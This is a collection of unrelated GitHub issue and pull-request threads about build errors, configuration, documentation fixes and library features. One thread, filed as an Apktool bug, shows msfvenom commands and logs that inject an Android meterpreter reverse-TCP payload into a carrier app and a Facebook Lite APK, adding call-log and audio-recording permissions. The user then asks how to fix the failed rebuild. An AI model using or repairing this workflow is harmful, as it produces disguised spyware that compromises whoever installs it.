publish npm package

You can use the bower package...
bower.io

Yeah, but I'm already using Composer and npm and adding yet another package manager for just one package is just really annoying. Considering that the process to publish a npm package is almost the same as a Bower one and that it's really a fast thing to do, It really just helps other people : they are given the choice to not have to install Bower if they are not using it and using another package manager.

I agree, it is indeed better.
Too bad this project is not really active :-(

I contacted the authors of the current raphael npm package and kindly asked them to update it. I will publish one if I don't have any response.
You didn't need me for this guys...
Cheers

Done. Have fun!

Thanks @tomasAlabes . We did not do it ourselves since we are not the maintainers, neither collaborators :)

I was talking about the e-mail :)
Anyway I learned a bit more about npm so I'm glad I did it :D


Non exported members show up in documentation

Hey sebastian,
I saw this issue: https://github.com/sebastian-lenz/typedoc/issues/87,
Is there any progress about this issue? Is there a way to help?
Thanks,

Hi! Did you try the -excludeNotExported argument? Is there a situation where it's not working?

I'll close this issue as no further information has been given. Please feel free to open a new issue if you encounter any problems.


bobcat aem in a maven project

Bobcat version: 2.1.0
Bobcat modules used:

bb-aem-core
bb-aem-65
bb-junit5

I want to use bobcat framework as a maven project, how to load yaml config properties in maven project (POM.xml)
I tried to use yaml-properties-maven-plugin to read config.yaml, but it seems not working with issue: https://github.com/mojohaus/properties-maven-plugin/issues/39

Hi @GuptaMegha,
take a look at: https://cognifide.github.io/bobcat/docs/configuring-bobcat/
You need to put your options under resources folder and Bobcat will load them accordingly. In Maven setting you just need to set up additional plugins (e.g. Allure).

Hi @mkrzyzanowski :
I tried the same way as you mentioned. Added dependancy in Pom, options files under resources folder and added surefire and allure plugin. But there are "no tests executed". I am wondering if my pom file is missing somthing. Pasted part of Pom file as following.

io.qameta.allure
allure-maven
2.9

org.apache.maven.plugins
maven-surefire-plugin
2.22.1
true

test

test

bobcat.config
yaml

bobcat.config.contexts
{"chrome","locator","dev"}

webdriver.chrome.driver
C:\Users\PZhang\Desktop\jenkins\chromedriver.exe

junit.jupiter.extensions.autodetection.enabled
true

Thank you very much in advance.
Peng

Hi @stormtide11, couple things here , since you are working with JUnit 5:

you need a higher version of Surefire plugin to work with JUnit 5 - I recommend using the latest one
to configure Surefire, per https://maven.apache.org/surefire/maven-surefire-plugin/examples/junit-platform.html# -> Configuration Parameters you should use:

<configuration>
                <properties>
                    <configurationParameters>
                        junit.jupiter.conditions.deactivate = *
                        junit.jupiter.extensions.autodetection.enabled = true
                        junit.jupiter.testinstance.lifecycle.default = per_class
                        junit.jupiter.execution.parallel.enabled = true
                    </configurationParameters>
                </properties>
            </configuration>

or a dedicated file: junit-platform.properties.

Also, you are using the systemPropertyVariables key, which expects different syntax - please see https://maven.apache.org/surefire/maven-surefire-plugin/examples/system-properties.html.

I have prepared an example project setup here: https://github.com/mkrzyzanowski/bobcat-maven-example.
Hope this helps! Cheers :)


What does this PR do?

What does this PR do?
optimize resource usage recovery logic
Why are these changes required?
optimize resource usage recovery logic
This PR has been tested by:

Unit Tests
Manual Testing

Follow up
Extra details
Originally posted by @CarlChaoCarl in https://github.com/tronprotocol/protocol/pull/227

Please submit the correct information, invalid information will cause the issue to close


CDEF causing desyncs at high bit depth

The high_bd() decode test reveals that enabling CDEF causes desynchronization between the reconstruction and the decoder output at high bit depths following recent changes committed around August 9 or 10. These should be resolved, and enable_cdef set to true for all bit depths in the sequence header.

Thanks for filing the issue, I'm on it.

Fixed by PR #459


[Bug]Selection Widget - Property Pane - “Filterable” functionality is not working properly while using JS button and type false.

Description
Selection Widget - Property Pane - “Filterable” functionality is not working properly while using JS button and type false.
Steps to reproduce the behaviour:

Go to link http://rc.app.appsmith.com/user/login
Login into Appsmith through your user credentials.
Go to the widget screen by clicking on the Add icon of widgets
Drag and drop the Selection  widget
Go to the Widget property
Enable the Filterable JS
Enter the value false and then publish the widget
Selection widget still shows the Filterable option. Issue

Important Details

Version: [Cloud]
OS: [MacOS]
Browser [chrome, safari]
Environment [Release/Frozen]

video.

Screenshot.
https://www.screencast.com/t/5agbD3BE

@arslanhaiderbuttar please tag the issues with the correct labels

@somangshu , I think I've fixed this since

@arslanhaiderbuttar could you confirm this issue doesn't exist anymore

@Tooluloope if you think it works, close it. It will get auto assigned as QA


feat: after clearing, the bitmap should be cleared, and the width and height should be reset to the initial values.

after clearing, the bitmap should be cleared, and the width and height should be reset to the initial values.

https://github.com/Brooooooklyn/canvas/issues/890

@Brooooooklyn
Is there a plan to release a new version soon?


Revert breaking change that renames default config file name

@pgr0ss reverting this change from my previous PR. This breaks anyone using the default config file "riak.yml"
Could you merge and bump version please?

Bumped version and pushed.


duplicated code in func (r *SglResult) RowsAffected() (int64, error)

1. What version of Go and system type/arch are you using?

main branch
gf/database/gdb/gdb_result.go
func (r *SqlResult) RowsAffected() (int64, error) {
	if r.Result == nil {
		return 0, nil
	}
	if r.Affected > 0 {
		return r.Affected, nil
	}
	if r.Result == nil {
		return 0, nil
	}
	return r.Result.RowsAffected()
}

2. What version of GoFrame are you using?

3. Can this issue be re-produced with the latest release?
4. What did you do?

5. What did you expect to see?
6. What did you see instead?

@ragnaros2046 What do you mean?

@ragnaros2046 What do you mean?

代码有重复啊强哥  两个一样的
if r.Result == nil {
return 0, nil
}

@ragnaros2046 Sorry for late reply, it was ready fix in https://github.com/gogf/gf/commit/887803e4950019f85e8373e5bef9be221dbddf59


Add time/day checks

Should have the ability to compare the current date/time to a specified time/day range for subs that have rules that vary by day of week. Should ideally be time zone aware too.

On reviewing the concept, I'm not sure that this is going to be useful. The date/time of a modmail may not tie in with the date/time of an action being taken against a user.


Broken Image links on the Kubernetes Blog

This is a Bug Report

Problem:

I noticed some images on the kubernetes blog are not displaying as should. Perhaps there is an error with the image links
Proposed Solution:
Although this articles was published a long time ago, it Would be great if this is rectified.
Page to Update:
https://kubernetes.io/...

Hi anita can you please specify the page, because the pages that you have specified are rendering completely fine with the images , please attach the link of the particular page.

Page to be update:
https://kubernetes.io/blog/2015/09/kubernetes-performance-measurements-and/

Seems like this is from 2015 blog: https://kubernetes.io/blog/2015/09/kubernetes-performance-measurements-and/

Had a quick look at the network activity on the load of page, I can see the images URLs on the page is resulting in Error 403 from the server.
Image Links:

get.png
put.png
delete.png
post.png
list.png

Page with issue: https://kubernetes.io/blog/2015/09/kubernetes-performance-measurements-and/
Page markdown source: https://github.com/kubernetes/website/blob/main/content/en/blog/_posts/2015-09-00-Kubernetes-Performance-Measurements-And.md
/language en

can i solve it
triage/accepted

/assign

seems like we have link associated with image is not available anymore to use, including the screenshot

/triage-accepted

triage/accepted

/triage accepted

/remove-triage accepted
PRs to fix this will be a low priority for review due to our policy of only maintaining blog articles for 2 years. However, there's no prohibition on finding the missing images and proposing a fix.

/area blog


A feature that allows the user to disable view crawler for certain projects

https://github.com/mixpanel/mixpanel-android/issues/357
When a user has multiple instances of MixpanelAPI, the A/B changes might get messed up as the lib always applies the change in the last decide response.
This feature is for disabling A/B and codeless for certain projects that are specified by the user.
To use this feature, the user will need to define
<resources>
    <string-array name="my_project_list">
        <item>project token 1</item>
        <item>project token 2</item>
    </string-array>
</resources>

in array.xml.
Then reference it in the AndroidManifest
        <meta-data android:name="com.mixpanel.android.MPConfig.DisableViewCrawlerForProjects"
            android:resource="@array/my_project_list" />

LGTM


fix cmake for conda install

The jobdir change can be separated into a different PR and merged.  We can table the cmake issue for later.


Synthesis failed for Google.Cloud.Tasks.V2Beta3

Hello! Autosynth couldn't regenerate Google.Cloud.Tasks.V2Beta3. :broken_heart:
Here's the output from running synth.py:
Cloning into 'working_repo'...
Switched to branch 'autosynth-Google.Cloud.Tasks.V2Beta3'
Traceback (most recent call last):
  File "/home/kbuilder/.pyenv/versions/3.6.1/lib/python3.6/runpy.py", line 193, in _run_module_as_main
    "__main__", mod_spec)
  File "/home/kbuilder/.pyenv/versions/3.6.1/lib/python3.6/runpy.py", line 85, in _run_code
    exec(code, run_globals)
  File "/tmpfs/src/git/autosynth/autosynth/synth.py", line 256, in <module>
    main()
  File "/tmpfs/src/git/autosynth/autosynth/synth.py", line 196, in main
    last_synth_commit_hash = get_last_metadata_commit(args.metadata_path)
  File "/tmpfs/src/git/autosynth/autosynth/synth.py", line 149, in get_last_metadata_commit
    text=True,
  File "/home/kbuilder/.pyenv/versions/3.6.1/lib/python3.6/subprocess.py", line 403, in run
    with Popen(*popenargs, **kwargs) as process:
TypeError: __init__() got an unexpected keyword argument 'text'

Google internal developers can see the full log here.

Autosynth is still having trouble generating Google.Cloud.Tasks.V2Beta3. :sob:
Here's the output from running synth.py:
Cloning into 'working_repo'...
Switched to branch 'autosynth-Google.Cloud.Tasks.V2Beta3'
Traceback (most recent call last):
  File "/home/kbuilder/.pyenv/versions/3.6.1/lib/python3.6/runpy.py", line 193, in _run_module_as_main
    "__main__", mod_spec)
  File "/home/kbuilder/.pyenv/versions/3.6.1/lib/python3.6/runpy.py", line 85, in _run_code
    exec(code, run_globals)
  File "/tmpfs/src/git/autosynth/autosynth/synth.py", line 256, in <module>
    main()
  File "/tmpfs/src/git/autosynth/autosynth/synth.py", line 196, in main
    last_synth_commit_hash = get_last_metadata_commit(args.metadata_path)
  File "/tmpfs/src/git/autosynth/autosynth/synth.py", line 149, in get_last_metadata_commit
    text=True,
  File "/home/kbuilder/.pyenv/versions/3.6.1/lib/python3.6/subprocess.py", line 403, in run
    with Popen(*popenargs, **kwargs) as process:
TypeError: __init__() got an unexpected keyword argument 'text'

Google internal developers can see the full log here.

Autosynth passed, closing! :green_heart:


drivers: wireless: Fix to set the address family for recvfrom() in gs2200m

Summary

I noticed that the ntpclient does not work with gs2200m
Finally, I found that the address family for recvfrom() is not
set correctly
This commit fixes this issue

Impact

None

Testing

Tested with ntpclient

Look like CI stuck on macOS. Since this change isn't related to sim, let's merge it now instead.


I was reading the Istio 1.4 DR documentation and I have some doubts about the HTTP idle timeout section
The document states:

If not set, there is no idle timeout.

What does this actually mean?

Will Istio never expire an idle connection? Therefore the value can be considered "very big"
Is Idle timeout equivalent to 0s?

thank you!
Matteo

Yes. The idle timeout is not enforced i.e. connection will never be closed based idle ness. In recent version this has been changed to 1 hour.

Hey @ramaraochavali,
thank you very much for your reply! :-)


METRON-936: PCAP topology properties in flux not correctly using pcap.properties

Properties weren't being exposed and required users to modify the flux file directly for pcap.
Spin up pcap in full dev and set the number of workers to something other than 1. Verify the number of workers in storm and that data is consumed using the specified Kafka offset strategy.
pcap.properties
...
storm.topology.workers=1
kafka.pcap.start=UNCOMMITTED_EARLIEST
...

For all changes:

[x] Is there a JIRA ticket associated with this PR? If not one needs to be created at Metron Jira.
[x] Does your PR title start with METRON-XXXX where XXXX is the JIRA number you are trying to resolve? Pay particular attention to the hyphen "-" character.
[x] Has your PR been rebased against the latest commit within the target branch (typically master)?

For code changes:

[x] Have you included steps to reproduce the behavior or problem that is being changed or addressed?

[x] Have you included steps or a guide to how the change may be verified and tested manually?

[ ] Have you ensured that the full suite of tests and checks have been executed in the root incubating-metron folder via:
mvn -q clean integration-test install && build_utils/verify_licenses.sh

[x] Have you written or updated unit tests and or integration tests to verify your changes?

Note:
Please ensure that once the PR is submitted, you check travis-ci for build issues and submit an update to your PR as soon as possible.
It is also recommended that travis-ci is set up for your personal repository such that your branches are built there before submitting a pull request.

Kick Travis - appears to be a test failure in the rest api

Pushing another PR in place of this one


Signing key in the README doesn't have enough entropy

I've got a pull request open on a League Package which that adds a vendor binary to the package for generating a secure key.
I'm wondering whether it's worth splitting this up to be it's own package that can be used on a global composer install?

I've made a tool for doing this, not sure if you want me to create a pull request for including it: https://github.com/AndrewCarterUK/CryptoKey

@AndrewCarterUK while this is true, it is documented that the keys should be generated properly.
This package is not supposed to take on that bit, but I'd gladly merge a PR that links to some more clear and complete docs about key generation.

Or are you suggesting to add a ::fromAutoGeneratedKey()?

I'm just suggesting that it's made clear to users that mashing something such as:
$app->pipe(\PSR7Session\Http\SessionMiddleware::fromSymmetricKeyDefaults(
    's3ssionp4ssword',
    1200 // 20 minutes
));

Isn't secure enough for this purpose.
At the moment it looks a little bit like a place to type a password rather than something to fill with lots of bits straight out of a CSPRNG.

Ah yes. This is made clear in the docs, but feel free to add a link and a
warning also to the README
On Dec 14, 2015 12:42 PM, "Andrew Carter"<EMAIL_ADDRESS>wrote:

I'm just suggesting that it's made clear to users that mashing something
such as:
$app->pipe(\PSR7Session\Http\SessionMiddleware::fromSymmetricKeyDefaults(    's3ssionp4ssword',    1200 // 20 minutes));
Isn't secure enough for this purpose.
At the moment it looks a little bit like a place to type a password rather
than something to fill with lots of bits straight out of a CSPRNG.
—
Reply to this email directly or view it on GitHub
https://github.com/Ocramius/PSR7Session/issues/34#issuecomment-164416864
.

I've got two open pull requests (both take it or leave it) - happy to edit them in any way you feel is appropriate.
https://github.com/Ocramius/PSR7Session/pull/35
https://github.com/Ocramius/PSR7Session/pull/36

Closed by https://github.com/Ocramius/PSR7Session/pull/36


Advistories typo

I know this is not the right place for this but I cannot find any repo to report this to and I think you guys might be one and the same or at least know the right people to tell :)
The word "Advistories" is spelled wrong in the dropdown on security.sensiolabs.org:

// @fabpot

Also the "Get support from SensioLabs" link in the footer goes to https://sensiolabs.com/support which redirects to https://sensiolabs.com/en/enterprise-subscription/symfony-support.html which is a 404 error page :)

fixed now, thanks for the report.

Awesome.


List and Iterable extension methods

#65

@RandalSchwartz could you review to check that the distinction Iterable / List works?


Fix typo; 'reaccess' to 'reassess'

Reaccess is not a word

@onionhammer : Thanks for your contribution! The author(s) have been notified to review your proposed change.

#sign-off


Getting an Error

Describe the bug
I get a huge error when I fill in the steps as shown on the video by James Cunliffe here: https://www.youtube.com/watch?v=FaLTztGGueQ
I have posted the error below and the colab was a Tesla T4, 15109 MiB
This error occurs when I press "play" on the "Start Training" section.
Reproduction
Follow his steps to the letter, except change his "realjames" for something else like whatever you called your Hugging Face token.
This is my settings:
!accelerate launch train_dreambooth.py
--pretrained_model_name_or_path=$MODEL_NAME
--instance_data_dir=$INSTANCE_DIR
--class_data_dir=$CLASS_DIR
--output_dir=$OUTPUT_DIR
--with_prior_preservation --prior_loss_weight=1.0
--instance_prompt="MY TOKEN NAME"
--class_prompt="person"
--seed=1337
--resolution=512
--train_batch_size=1
--train_text_encoder
--mixed_precision="fp16"
--use_8bit_adam
--gradient_accumulation_steps=1
--learning_rate=5e-6
--lr_scheduler="constant"
--lr_warmup_steps=0
--num_class_images=50
--sample_batch_size=4
--max_train_steps=1000
Logs
The following values were not passed to `accelerate launch` and had defaults used instead:
	`--num_processes` was set to a value of `1`
	`--num_machines` was set to a value of `1`
	`--mixed_precision` was set to a value of `'no'`
	`--num_cpu_threads_per_process` was set to `1` to improve out-of-box performance
To avoid this warning pass in values for each of the problematic parameters or run `accelerate config`.
Traceback (most recent call last):
  File "/usr/local/lib/python3.7/dist-packages/huggingface_hub/utils/_errors.py", line 213, in hf_raise_for_status
    response.raise_for_status()
  File "/usr/local/lib/python3.7/dist-packages/requests/models.py", line 941, in raise_for_status
    raise HTTPError(http_error_msg, response=self)
requests.exceptions.HTTPError: 403 Client Error: Forbidden for url: https://huggingface.co/CompVis/stable-diffusion-v1-4/resolve/main/model_index.json

The above exception was the direct cause of the following exception:

Traceback (most recent call last):
  File "/usr/local/lib/python3.7/dist-packages/diffusers/configuration_utils.py", line 234, in get_config_dict
    revision=revision,
  File "/usr/local/lib/python3.7/dist-packages/huggingface_hub/file_download.py", line 1057, in hf_hub_download
    timeout=etag_timeout,
  File "/usr/local/lib/python3.7/dist-packages/huggingface_hub/file_download.py", line 1359, in get_hf_file_metadata
    hf_raise_for_status(r)
  File "/usr/local/lib/python3.7/dist-packages/huggingface_hub/utils/_errors.py", line 254, in hf_raise_for_status
    raise HfHubHTTPError(str(HTTPError), response=response) from e
huggingface_hub.utils._errors.HfHubHTTPError: <class 'requests.exceptions.HTTPError'> (Request ID: ssVb9YQlJa6gYKCWwu9Tk)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "train_dreambooth.py", line 695, in <module>
    main()
  File "train_dreambooth.py", line 376, in main
    args.pretrained_model_name_or_path, torch_dtype=torch_dtype, use_auth_token=True
  File "/usr/local/lib/python3.7/dist-packages/diffusers/pipeline_utils.py", line 373, in from_pretrained
    revision=revision,
  File "/usr/local/lib/python3.7/dist-packages/diffusers/configuration_utils.py", line 256, in get_config_dict
    "There was a specific connection error when trying to load"
OSError: There was a specific connection error when trying to load CompVis/stable-diffusion-v1-4:
<class 'requests.exceptions.HTTPError'> (Request ID: ssVb9YQlJa6gYKCWwu9Tk)
Traceback (most recent call last):
  File "/usr/local/bin/accelerate", line 8, in <module>
    sys.exit(main())
  File "/usr/local/lib/python3.7/dist-packages/accelerate/commands/accelerate_cli.py", line 43, in main
    args.func(args)
  File "/usr/local/lib/python3.7/dist-packages/accelerate/commands/launch.py", line 837, in launch_command
    simple_launcher(args)
  File "/usr/local/lib/python3.7/dist-packages/accelerate/commands/launch.py", line 354, in simple_launcher
    raise subprocess.CalledProcessError(returncode=process.returncode, cmd=cmd)
subprocess.CalledProcessError: Command '['/usr/bin/python3', 'train_dreambooth.py', '--pretrained_model_name_or_path=CompVis/stable-diffusion-v1-4', '--instance_data_dir=/content/data/RealErnesttInput', '--class_data_dir=/content/data/person', '--output_dir=/content/drive/MyDrive/stable_diffusion_weights/sks', '--with_prior_preservation', '--prior_loss_weight=1.0', '--instance_prompt=RealErnest', '--class_prompt=person', '--seed=1337', '--resolution=512', '--train_batch_size=1', '--mixed_precision=fp16', '--use_8bit_adam', '--gradient_accumulation_steps=1', '--learning_rate=1e-6', '--lr_scheduler=constant', '--lr_warmup_steps=0', '--num_class_images=50', '--sample_batch_size=4', '--max_train_steps=800']' returned non-zero exit status 1.

System Info
Google Colab: https://colab.research.google.com/github/ShivamShrirao/diffusers/blob/main/examples/dreambooth/DreamBooth_Stable_Diffusion.ipynb

You have to accept the terms to access that URL.
Click agree here and re-run: https://huggingface.co/CompVis/stable-diffusion-v1-4 (if you agree of course...)

Solved. Thanks a lot.


OSX pink menu bug

Fixes #521

OSX build: https://builds.navcore.org/521-osx-png-bug
Gitian building the other OS binaries now to smoke test it doesn't break the layout on other operating systems.

The menu icons show with an appreciable lower resolution, but this can be a temporary valid solution until the whole redesign is finished. Would be interesting to confirm how it shows in other OS/resolutions.

@aguycalled yeah Juguelio reported the same, it works but its a bit blurry.
I have the other OS's compiled here now, so ill try to get people on discord to try it out:
https://builds.navcore.org/521-osx-png-bug/

and i agree, this is a quick interim fix before replacing the menu with @mxaddict's work. I could spend more time going down the pxmap approach but i dont think its worth the effort.


Test failed on apple silicon

What happened:
I'm doing it while looking at https://github.com/yorkie-team/yorkie#developing-yorkie.
I tested it on apple silicon, but it failed.
go clean -testcache
go test -tags integration -race ./...
?       github.com/yorkie-team/yorkie/api       [no test files]
ok      github.com/yorkie-team/yorkie/api/converter     0.293s
ok      github.com/yorkie-team/yorkie/client    0.305s
?       github.com/yorkie-team/yorkie/cmd/yorkie        [no test files]
?       github.com/yorkie-team/yorkie/internal/cli      [no test files]
?       github.com/yorkie-team/yorkie/internal/version  [no test files]
ok      github.com/yorkie-team/yorkie/pkg/cache 0.131s
ok      github.com/yorkie-team/yorkie/pkg/document      0.226s
ok      github.com/yorkie-team/yorkie/pkg/document/change       0.221s
# bou.ke/monkey
../../go/pkg/mod/bou.ke/monkey@v1.0.2/replace.go:24:14: undefined: jmpToFunctionValue
ok      github.com/yorkie-team/yorkie/pkg/document/json 0.321s
?       github.com/yorkie-team/yorkie/pkg/document/key  [no test files]
?       github.com/yorkie-team/yorkie/pkg/document/operation    [no test files]
?       github.com/yorkie-team/yorkie/pkg/document/proxy        [no test files]
ok      github.com/yorkie-team/yorkie/pkg/document/time 0.285s
ok      github.com/yorkie-team/yorkie/pkg/llrb  0.311s
ok      github.com/yorkie-team/yorkie/pkg/pq    0.285s
ok      github.com/yorkie-team/yorkie/pkg/splay 0.344s
?       github.com/yorkie-team/yorkie/pkg/types [no test files]
?       github.com/yorkie-team/yorkie/test/helper       [no test files]
ok      github.com/yorkie-team/yorkie/test/integration  12.190s
ok      github.com/yorkie-team/yorkie/yorkie    0.304s
?       github.com/yorkie-team/yorkie/yorkie/auth       [no test files]
ok      github.com/yorkie-team/yorkie/yorkie/backend    0.544s
?       github.com/yorkie-team/yorkie/yorkie/backend/background [no test files]
ok      github.com/yorkie-team/yorkie/yorkie/backend/db 0.199s
FAIL    github.com/yorkie-team/yorkie/yorkie/backend/db/memory [build failed]
ok      github.com/yorkie-team/yorkie/yorkie/backend/db/mongo   0.568s
?       github.com/yorkie-team/yorkie/yorkie/backend/housekeeping       [no test files]
?       github.com/yorkie-team/yorkie/yorkie/backend/sync       [no test files]
ok      github.com/yorkie-team/yorkie/yorkie/backend/sync/etcd  1.623s
ok      github.com/yorkie-team/yorkie/yorkie/backend/sync/memory        0.565s
?       github.com/yorkie-team/yorkie/yorkie/clients    [no test files]
?       github.com/yorkie-team/yorkie/yorkie/log        [no test files]
?       github.com/yorkie-team/yorkie/yorkie/packs      [no test files]
ok      github.com/yorkie-team/yorkie/yorkie/profiling  0.682s
?       github.com/yorkie-team/yorkie/yorkie/profiling/prometheus       [no test files]
ok      github.com/yorkie-team/yorkie/yorkie/rpc        0.927s
?       github.com/yorkie-team/yorkie/yorkie/rpc/interceptors   [no test files]
FAIL
make: *** [test] Error 2

What you expected to happen:
How to reproduce it (as minimally and precisely as possible):

docker-compose -f docker/docker-compose.yml up --build -d
make test

Anything else we need to know?:
go version is go1.17.6 darwin/arm64.
Environment:

Operating system: macOS Big Sur 11.4
Browser and version:
Yorkie version (use yorkie version): v0.2.1
Yorkie JS SDK version:

We use bouk/monkey for monkey patching. And jmpToFunctionValue is implemented only in monkey_amd64.go and monkey_386.go not arm64.


Add an env variable as a rollout flag for CheckAccess

rp-production.json was regenerated with the changes from

resources_rp.go
templates_rp.go
rpVMSS.sh

Which issue this PR addresses:
Fixes ARO-2922
What this PR does / why we need it:
CheckAccess migration will only happen gradually starting with INT and Canary regions.  To orchestrate such gradual release, a new environment variable is introduced to signify if the region will use CheckAccess or not.
Test plan for issue:
Tested this in INT.

@petrkotas  if the doc links Nont provided are good enough (note they're in Jira as well), please feel free to give this a thumbs up and merge.  I'm good with it as is.

@petrkotas If you look at the epic it has links to MSFT documentation.  A tl;dr: We currently use an older API to check permissions against identities.  There is a new API that MSFT is currently releasing called CheckAccess, which will have better "freshness" (cache) times and it is handled in a different manner.  It's currently not fully GA in all of public cloud, but undergoing rollout and one of our canary regions is swapped over to the new API to confirm it is working as expected.
Going to merge.


having issue with apk unable to rebuild apk

Information

Apktool Version (apktool -version) -2.4.0
Operating System (Mac, Linux, Windows) -KALI LINUX LARGE 64BIT
APK From? (Playstore, ROM, Other) -apkmonk.com

Stacktrace/Logcat
Include stacktrace here
root@kali:~/Downloads# msfvenom -x myairtel.apk -p android/meterpreter/reverse_tcp LHOST=<IP_ADDRESS> LPORT=4444 -o ma.apk
Using APK template: myairtel.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[*] Creating signing key and keystore..
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
[*] Adding payload as package com.myairtelapp.kuoen
[*] Loading /tmp/d20190920-6482-8wxiw8/original/smali_classes3/com/myairtelapp/global/App.smali and injecting payload..
[*] Poisoning the manifest with meterpreter permissions..
[*] Adding <uses-permission android:name="android.permission.READ_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.RECORD_AUDIO"/>
[*] Adding <uses-permission android:name="android.permission.RECORD_AUDIO"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.SET_WALLPAPER"/>
[*] Rebuilding myairtel.apk with meterpreter injection as /tmp/d20190920-6482-8wxiw8/output.apk
[-] I: Using Apktool 2.4.0
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
Exception in thread "main" org.jf.util.ExceptionWithContext: Exception occurred while writing code_item for method Landroid/support/v4/util/LongSparseArray;->clone()Landroid/support/v4/util/LongSparseArray;
	at org.jf.dexlib2.writer.DexWriter.writeDebugAndCodeItems(DexWriter.java:917)
	at org.jf.dexlib2.writer.DexWriter.writeTo(DexWriter.java:341)
	at org.jf.dexlib2.writer.DexWriter.writeTo(DexWriter.java:297)
	at brut.androlib.src.SmaliBuilder.build(SmaliBuilder.java:61)
	at brut.androlib.src.SmaliBuilder.build(SmaliBuilder.java:36)
	at brut.androlib.Androlib.buildSourcesSmali(Androlib.java:419)
	at brut.androlib.Androlib.buildSources(Androlib.java:350)
	at brut.androlib.Androlib.build(Androlib.java:302)
	at brut.androlib.Androlib.build(Androlib.java:269)
	at brut.apktool.Main.cmdBuild(Main.java:247)
	at brut.apktool.Main.main(Main.java:79)
Caused by: org.jf.util.ExceptionWithContext: Error while writing instruction at code offset 0x13
	at org.jf.dexlib2.writer.DexWriter.writeCodeItem(DexWriter.java:1190)
	at org.jf.dexlib2.writer.DexWriter.writeDebugAndCodeItems(DexWriter.java:913)
	... 10 more
Caused by: org.jf.util.ExceptionWithContext: Unsigned short value out of range: 65558
	at org.jf.dexlib2.writer.DexDataWriter.writeUshort(DexDataWriter.java:116)
	at org.jf.dexlib2.writer.InstructionWriter.write(InstructionWriter.java:356)
	at org.jf.dexlib2.writer.DexWriter.writeCodeItem(DexWriter.java:1150)
	... 11 more

Error: Unable to rebuild apk with apktool

Steps to Reproduce

apktool

Frameworks
If this APK is from an OEM ROM (Samsung, HTC, LG). Please attach framework files
(.apks that live in /system/framework or /system/priv-app)
APK
If this APK can be freely shared, please upload/attach a link to it.
(https://www.apkmonk.com/app/com.myairtelapp/)
Questions to ask before submission

Have you tried apktool d, apktool b without changing anything?yes
If you are trying to install a modified apk, did you resign it?yes
Are you using the latest apktool version?yes 2.4.0 only from ibotpeaches

msfvenom -x fb.apk -p android/meterpreter/reverse_tcp LHOST=<IP_ADDRESS> LPORT=444 -o /root/Desktop/Lite.apk
Using APK template: fb.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[] Creating signing key and keystore..
[] Decompiling original APK..
[] Decompiling payload APK..
[] Locating hook point..
[] Adding payload as package com.facebook.lite.sdrnq
[] Loading /tmp/d20191006-3102-ers6yb/original/smali/com/facebook/lite/ClientApplicationSplittedShell.smali and injecting payload..
[] Poisoning the manifest with meterpreter permissions..
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[*] Rebuilding fb.apk with meterpreter injection as /tmp/d20191006-3102-ers6yb/output.apk
[-] I: Using Apktool 2.3.4-dirty
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
W: aapt: brut.common.BrutException: 32 bit OS detected. No 32 bit binaries available. (defaulting to $PATH binary)
W: First type is not attr!
W: A/        ( 3319): First type is not attr!
brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 134): [aapt, p, --min-sdk-version, 15, --target-sdk-version, 28, --version-code, 173843583, --version-name, <IP_ADDRESS>.120, --no-version-vectors, -F, /tmp/APKTOOL3991310619197288384.tmp, -0, xzs, -0, assets/secondary-program-dex-jars/secondary.dex.jar.xzs, -0, png, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /tmp/d20191006-3102-ers6yb/original/res, -M, /tmp/d20191006-3102-ers6yb/original/AndroidManifest.xml]
Error: Unable to rebuild apk with apktool
Any solution

Closing as duplicate of https://github.com/iBotPeaches/Apktool/issues/2177


JMC archive does not contain top level folder

Platform:
Linux
Architecture:
x86_64
The .tar.gz archives generated for JDK Mission Control do not contain a top-level folder, so running tar extract in the wrong place can cause a bit of a mess for an unsuspecting user. This should be tidied up to conform to most users expectations.

@hdafgard is this still a problem or has it been fixed in subsequent releases?

Downloading from https://adoptopenjdk.net/jmc.html right now still does not contain a top level folder.

@hdafgard question is how this archive is being created within the jmc build in the first place... I just use the resulting binary there..

IIRC Eclipse Tycho is responsible for generating the packaged builds.

Opened JMC-6852 with PR

@hdafgard  Fixed on 8.0.0-SNAPSHOT so far. Is there a need to back port to 7.x.x also?


Added rpc_min_threads and rpc_max_threads config options

Added rpc_min_threads and rpc_max_threads config options with default values, because Cassandra doesn't support rpc_server_type=hsha setting with rpc_max_threads=unlimited (default) from 2.0.12.
With this patch Priam will support latest Cassandra version on 2.0 branch = 2.0.17

Please review.

Hello, this looks good, just one question, are these yaml parameters application to Cassandra 2.1?


better wording when packit cannot parse YAML file

Previously it printed:
2023-02-23 16:23:13.305 package_config.py ERROR  Cannot load package config /tmp/fedora-upgrade/.packit.yaml.
2023-02-23 16:23:13.305 utils.py          ERROR  Cannot load package config: ScannerError('while scanning for the next token', None, "found character '\\t' that cannot start any token", <yaml.error.Mark object at 0x7f3310e2a190>).

Now it prints:
2023-02-23 17:25:59.950 package_config.py ERROR  Cannot load package config /tmp/fedora-upgrade/.packit.yaml.
2023-02-23 17:25:59.950 package_config.py ERROR    parser says
  in "<unicode string>", line 12, column 1:
              - fedora-stable
    ^
  found character '\t' that cannot start any token while scanning for the next token
2023-02-23 17:25:59.950 utils.py          ERROR  Please correct data and retry.

TODO:

[-] Write new tests or update the old ones to cover new functionality.
[-] Update doc-strings where appropriate.
[-] Update or write new documentation in packit/packit.dev.

RELEASE NOTES BEGIN
Command packit validate-config now provides details about errors when it cannot parse the config file.
RELEASE NOTES END

Updated.

Well done Mirek! I already saw the first sentry issues about this and knew exactly what went wrong.


Curves and Coils saved to FOCUS and MAKEGRID format

The Curve and Current objects can now be saved to the FOCUS format (assemble of Fourier coefficients) and the MAKEGRID format (discrete points).
Two separate functions curves_to_focus and coils_to_makegrid are implemented. An example is as follows.
from simsopt.field import coils_to_makegrid, coils_to_focus
